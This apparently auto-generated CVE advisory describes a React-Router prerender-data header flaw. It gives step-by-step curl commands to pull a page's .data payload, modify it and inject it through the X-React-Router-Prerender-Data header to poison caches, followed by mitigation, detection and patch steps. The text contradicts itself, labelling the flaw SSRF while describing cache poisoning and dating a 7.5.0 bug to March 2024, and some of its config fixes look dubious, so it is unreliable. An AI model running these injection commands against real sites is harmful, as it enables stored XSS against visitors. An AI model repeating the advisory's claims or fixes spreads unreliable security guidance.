Listen to this Post
How the CVE Works
The vulnerability exploits the `X-React-Router-Prerender-Data` header in React-Router’s framework mode. When a page uses a loader, an attacker can intercept the pre-rendered data by appending `.data` to the endpoint, extracting the JSON payload. By injecting a malicious `X-React-Router-Prerender-Data` header with manipulated values, the attacker overwrites the original data. This leads to cache poisoning, allowing arbitrary content modification. If cached, the poisoned response persists, enabling stored XSS or other client-side attacks.
DailyCVE Form
Platform: React-Router
Version: 7.5.0
Vulnerability: SSRF
Severity: Critical
Date: 2024-03-15
What Undercode Say:
Exploitation
1. Intercept Pre-Rendered Data:
curl http://target.com/ssr.data -o payload.json
2. Modify JSON Payload:
{"malicious": "data", "originalKey": "modifiedValue"}
3. Inject Header:
curl -H "X-React-Router-Prerender-Data: $(cat payload.json)" http://target.com/ssr
Protection
1. Disable Framework Mode:
// react-router config
export const config = { frameworkMode: false };
2. Sanitize Headers:
location / {
proxy_set_header X-React-Router-Prerender-Data "";
}
3. Cache Validation:
varnishadm param.set req_hash_ignore_header "X-React-Router-Prerender-Data"
Detection
1. Log Suspicious Headers:
grep -r "X-React-Router-Prerender-Data" /var/log/nginx/
2. Monitor .data Requests:
tshark -Y "http.request.uri contains '.data'"
Patch
Upgrade to React-Router ≥ 7.6.0:
npm install react-router@latest
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
